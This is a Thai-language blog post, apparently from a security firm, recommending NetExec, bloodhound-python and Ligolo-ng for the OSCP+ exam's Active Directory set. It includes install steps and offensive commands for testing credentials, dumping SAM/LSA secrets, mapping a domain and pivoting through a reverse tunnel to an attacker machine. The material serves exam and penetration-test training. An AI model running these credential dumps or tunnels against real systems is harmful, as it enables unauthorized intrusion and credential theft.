แนะนำ Tools ที่ควรมีติดเครื่องไว้ ก่อนไปสอบ OSCP+ EP.1

โดย admin

3 นาที
แชร์
Blog Thumbnail

แนะนำ Tools ที่ควรมีติดเครื่องไว้ ก่อนไปสอบ OSCP+ EP.1

สวัสดีครับ 🙏

บทความนี้เหมาะสำหรับผู้ที่กำลังเตรียมตัวสอบ OSCP+ (Offensive Security Certified Professional Plus) และมีพื้นฐานความเข้าใจเกี่ยวกับรูปแบบการสอบมาแล้ว โดยวันนี้ผมอยากจะมาแชร์ Tools ต่าง ๆ ที่ควรมีติดเครื่องไว้ โดย Tools เหล่านี้จะเป็น Tools ที่ผมใช้ระหว่างการสอบ โดยเฉพาะในส่วนของ Active Directory (AD) set ซึ่งถือเป็นส่วนที่มีการเปลี่ยนแปลงและท้าทายมากขึ้นจากการสอบ OSCP แบบเดิม

โดยสิ่งที่ผมจะเล่าในบทความนี้จะเน้นไปที่:

  • เหตุผลว่าทำไมผมเลือกใช้เครื่องมือนั้น ๆ
  • วิธีการติดตั้งเครื่องมือ
  • ตัวอย่างคำสั่ง/คำแนะนำที่สามารถนำไปปรับใช้ได้

บทความนี้จะไม่เปิดเผยรายละเอียดที่เกี่ยวข้องกับโจทย์สอบจริง แต่จะเน้นไปที่ แนวทางการเตรียมตัวและการเลือกเครื่องมือ ที่ผมมองว่ามีประโยชน์ต่อผู้ที่กำลังเตรียมตัวสอบ หรือกำลังทำ Pentest ในสภาพแวดล้อม AD ครับ 🚀

Source: https://credentials.offsec.com/e3f69a32-223a-4414-83c0-8e7eee5bdecb

สิ่งหนึ่งที่ผู้สอบควรทราบเกี่ยวกับ OSCP+ คือ ในหมวด Active Directory (AD) set ข้อสอบจะให้ Credential เริ่มต้นมาให้สำหรับใช้เชื่อมต่อไปยังเครื่องแรกทันที ซึ่งต่างจากการสอบ OSCP ที่เราต้องหาวิธีเจาะเข้าเครื่องแรกด้วยตนเอง

อย่างไรก็ตาม แม้จะมี Credential ให้ แต่ความยากกลับไม่ได้ลดลง ตรงกันข้าม ภายใน AD set นั้นมีความซับซ้อนและท้าทายกว่าการสอบ OSCP แบบดั้งเดิมมากครับ 🔥

Source: https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide


Active Directory Tools

1. NetExec (https://github.com/Pennyw0rth/NetExec)

สำหรับคนที่ยังไม่รู้จัก NetExec (NXC) — เป็นเครื่องมือ post-exploitation และสำหรับ lateral movement ที่ออกแบบมาเพื่อตรวจสอบและโจมตีระบบภายในผ่านหลากหลาย Service เช่น

  • FTP → ลองล็อกอินด้วย credential หรือ anonymous เพื่อดูไฟล์ที่แชร์, ตรวจสอบสิทธิ์, อัปโหลด/ดาวน์โหลดไฟล์, brute-force
  • SSH → ทดสอบการล็อกอินเข้าสู่เครื่องด้วยรหัสผ่านหรือคีย์
  • SMB → ดู shares ที่เปิดอยู่, ตรวจสอบสิทธิ์, dump SAM/LSA/NTDS เพื่อดึงข้อมูล credential
  • WinRM → ใช้ credential ที่พบเพื่อสั่งรัน PowerShell จากระยะไกล
  • LDAP → ดึงข้อมูลผู้ใช้/เครื่อง/กลุ่มจาก Active Directory เพื่อนำไปต่อยอดการโจมตี (สำคัญมาก!)
  • RDP → ทดสอบ username/password เพื่อเข้า remote desktop
  • MSSQL → ทดสอบการล็อกอินฐานข้อมูล SQL Server และสั่ง query หรือคำสั่งที่จะเป็นประโยชน์ในการโจมตี
  • NFS → ตรวจสอบการแชร์ไฟล์และสิทธิ์การเข้าถึง
  • WMI → สั่งรันคำสั่งหรือดึงข้อมูลจากเครื่อง Windows ผ่าน WMI
  • VNC → ทดสอบการเข้าถึง remote desktop ผ่านการยืนยันตัวตนของ VNC

แม้หลายคนจะคุ้นกับ CrackMapExec (CME) แต่ผมอยากแนะนำให้ลอง NetExec เพราะว่า:

  • เป็น Open Source ที่พัฒนาต่อยอดมาจาก CrackMapExec
  • ชมชุนเริ่มหันมาใช้ NetExec มากขึ้น เพราะมีการอัปเดตสม่ำเสมอและแก้บั๊กหลายจุดที่ CME ไม่ได้แก้
  • Syntax และการใช้งานคล้ายกับ CME แทบทั้งหมด → ถ้าเคยใช้ CME มาแล้ว จะย้ายมาใช้ NXC ได้ไม่ยาก
  • NetExec มีการรองรับโปรโตคอลมากกว่า CME ซึ่งทำให้ใช้งานได้ยืดหยุ่นและครอบคลุมกว่าในการโจมตีภายในเครือข่าย

Installation :

# for Kali/Linux
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

โดยทางทีมงานของ Datafarm เคยเขียนบทความเกี่ยวกับ NetExec เอาไว้และสามารถอ่านรายละเอียดเพิ่มเติมได้ที่: https://datafarm-cybersecurity.medium.com/netexec-all-in-one-tool-เครื่องมือเดียวครบจบ-90bc3eca902e

✏️ Note: ก่อนสอบความมีการเตรียมคำสั่งสำหรับ Service ต่าง ๆ เอาไว้ เพราะในกรณีที่ระบบเปิดใช้งาน Service นั้น ๆ จะได้หยิบใช้งานคำสั่งต่าง ๆ มาโจมตีต่อได้ทันที เช่น

พบว่าเครื่องเป้าหมายเปิดใช้งาน SMB ก็ทดสอบว่า Credential นั้น ๆ สามารถเข้าใช้งานได้รึเปล่า ด้วยคำสั่ง

nxc smb 192.168.1.10 -u Administrator -p ‘Password123’

คำสั่งที่เตรียมไว้ ในกรณีที่ Credential เข้าใช้งานได้:

ดู shared drives:
nxc smb -u user -p pass —sharesEnumerate local users:
nxc smb -u user -p pass —usersDump SAM / LSA / Secrets:
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —sam
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —lsa
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —secrets


2. bloodhound-python (https://github.com/dirkjanm/BloodHound.py)

หลายคนคงรู้จัก BloodHound / SharpHound เป็นอย่างดีอยู่แล้ว ซึ่งเป็นเครื่องมือสำหรับวิเคราะห์ความสัมพันธ์ใน Active Directory (ผู้ใช้, กลุ่ม, สิทธิ์, เซสชัน) เพื่อค้นหาเส้นทางที่เป็นไปได้ในการยกระดับสิทธิ์หรือเคลื่อนย้ายภายในโดเมนนั้น ๆ

โดย bloodhound-python จะทำหน้าที่เป็น Python ingestor ที่ช่วยเก็บข้อมูลจาก AD ได้สะดวกจากเครื่อง Linux/Kali/Attack Box โดยไม่ต้องคอมไพล์ไบนารีบนเครื่อง Windows ของเป้าหมาย ทำให้สามารถรวบรวมข้อมูลผ่าน LDAP และส่งออกเป็นไฟล์ที่จะใช้นำเข้าใน BloodHound GUI เพื่อนำไปวิเคราะห์หาเส้นทางต่อไปได้

Installation:

# GitHub
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
python3 bloodHound.py

Usage Examples : ใช้ LDAP ดึงข้อมูลโดยตรงผ่าน IP ของ DC

bloodhound-python -u ‘user’ -p ‘pass’ -dc 10.20.30.40 -d datafarm.local -c all

✏️ Note: หากอยากทวบทวน BloodHound / SharpHound ผมขอแนะนำบทความนี้ครับ

link: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux

เนื่องจาก link โหลด SharpHound.ps1 ในบทความ 404 not found ไปแล้ว ผมเลยแปะ link โหลดไฟล์นี้ให้แทนครับ: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors


3. Ligolo-ng (https://github.com/nicocha30/ligolo-ng)

Ligolo-ng เป็นเครื่องมือสำหรับ pivoting/tunneling ที่ช่วยให้เข้าถึงเครือข่ายภายใน (Internal Network) และพอร์ตภายในเครื่องที่ไม่สามารถเข้าถึงได้จากเครือข่ายภายนอก (External Network) โดยความสามารถเด่น ๆ ดังนี้ :

  • สร้าง reverse tunnel จากเครื่องเป้าหมายไปยังเครื่อง attacker
  • รองรับ multiplexed connections และ TLS tunneling เพื่อความปลอดภัยและประสิทธิภาพในการรับส่งข้อมูล
  • ใช้งานได้บนหลายระบบปฏิบัติการ เช่น Windows, Linux, macOS

Installation: จะแบ่งเป็น 2 ส่วนคือ

proxy → ตัวรันบนเครื่อง attack box / Kali

  • ทำหน้าที่เป็น reverse proxy ที่รอ agent ติดต่อกลับเพื่อสร้าง tunnel
  • ตัวอย่างในภาพใช้ ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz เนื่องจากเป็นเวอร์ชันล่าสุด ณ วันที่เขียนบทความ

agent → ตัวรันบนเครื่องเป้าหมาย (target)

  • เลือกตาม OS ของเครื่องเป้าหมาย เช่น ligolo-ng_agent_0.8.2_windows_amd64.zip สำหรับ Windows หรือ ligolo-ng_agent_0.8.2_linux_amd64.tar.gz สำหรับ Linux

Link: https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.2

⚔️ ขั้นตอนสั้น ๆ ในการใช้งาน

  1. ดาวน์โหลด agent และ proxy ตาม OS ที่ต้องการ
  2. แตกไฟล์ agent/proxy (tar.gz หรือ zip)

3. สร้าง Tunnel interface เพื่อทำ Pivoting เข้าสู่ Internal Network ด้วยคำสั่ง

kali >> sudo ip tuntap add user kali mode tun ligolo
# ip tuntap add - สั่งให้สร้างอุปกรณ์ TUN/TAP ใหม่
# user kali - กำหนดให้ผู้ใช้ชื่อ kali เป็นเจ้าของอุปกรณ์
# mode tun - ระบุชนิดเป็น TUN (ใช้ส่ง IP packets — เหมาะเมื่อต้องการส่งแบบระดับ IP)
# ligolo - ชื่อของอุปกรณ์ที่เราจะตั้ง
kali >> sudo ip link set ligolo up
# สั่งให้เปิดใช้งานอุปกรณ์ที่สร้างขึ้น (เหมือนเปิดสวิตช์ก่อน ถึงจะใช้งานได้)
kali >> ip a
# ตรวจสอบว่า interface ถูกสร้าง

4. เริ่มต้น Ligolo-ng ที่เครื่อง of Attacker box

kali >> ./proxy -selfcert
# บอกให้ proxy สร้างใบรับรองแบบ self-signed TLS certificate เพื่อความสะดวกและรวดเร็วในการใช้งาน
# proxy จะเริ่ม listening ที่ port 11601 ซึ่งเป็นค่าตั้งต้น

5. รัน agent บนเครื่องเป้าหมายเพื่อเชื่อมกลับมาที่ proxy

agent.exe —connect 192.168.50.123:11601 —ignore-cert
# —ignore-cert เนื่องจากเราสั่งให้ proxy ใช้ self-signed cert

6. เมื่อ agent เชื่อมต่อสำเร็จ → เครื่อง proxy จะรายงานว่ามี Agent เชื่อมต่อเข้ามา

7. ตรวจสอบ session ที่เชื่อมเข้ามาด้วยคำสั่ง

ligolo-ng >> session
# จากนั้นเลือกหมายเลขของ Agent ที่ต้องการ (เช่น เลือก 1)
# ตัวอย่างคำสั่งภายใน session:
[Agent : data1\\Admin@data1] >> ifconfig # เพื่อดูวงเครือข่ายที่เข้าถึงได้
# จากการตรวจสอบอาจเห็นว่า agent สามารถเข้าถึงทั้งวง External (192.168.x.x/24) และ Internal (172.16.x.x/24)

8. เพิ่ม route บนเครื่อง attacker เพื่อให้สามารถเข้าถึง 172.16.x.x/24 — Internal Network ผ่าน interface ของ ligolo

kali >> sudo ip route add 172.16.x.x/24 dev ligolo
# คำสั่งนี้ทำให้เครื่องของ attacker รู้จัก ligolo ที่จะวิ่งไปหา Internal Network ผ่าน tunnel ของ Ligolo-ng

9. เริ่มส่งข้อมูล/เริ่มใช้งาน session

ligolo-ng >> start


ก็จบไปแล้วสำหรับเครื่องมือที่ผมอยากแนะนำให้มีติดเครื่องก่อนสอบ OSCP+ ครับ สิ่งสุดท้ายที่อยากฝากไว้คือ แม้จะคุ้นเคยกับเครื่องมือพวกนี้ดี แต่ในวันสอบความตื่นเต้นอาจทำให้เราลืมคำสั่งสำคัญได้ ดังนั้นแนะนำให้เตรียมสรุปคำสั่ง (cheat-sheet) ที่เป็นระเบียบ แยกตามงานที่ต้องใช้ เช่น recon / exploit / post-exploit / pivot เพื่อหยิบใช้งานได้ทันที และอย่าลืมฝึกทำในแล็บให้คุ้นมือ การเตรียมพร้อมเช่นนี้จะช่วยให้คุณทำงานเป็นระบบและเขียนรายงานได้เร็วขึ้น ทั้งนี้ทั้งนี้ยังมี Tools เจ๋ง ๆ อีกมากมายที่ผมยังไม่ได้กล่าวถึงในบทความนี้ แต่ไว้พบกันใหม่ EP.2 ครับ 🤓 🤘

แชร์
กลับไปด้านบน

บทความที่เกี่ยวข้อง

อัปเดตข้อมูลด้านไซเบอร์ ทุกสัปดาห์
รับข่าวสารความรู้เชิงลึกเกี่ยวกับความปลอดภัยไซเบอร์จากดาต้าฟาร์มก่อนใคร

ฟีเจอร์นี้จะเปิดให้ใช้งานเร็ว ๆ นี้ โปรดติดตาม

ส่งสัปดาห์ละ 1 ครั้ง ไม่มีสแปม ยกเลิกการรับข่าวสารได้ทุกเมื่อ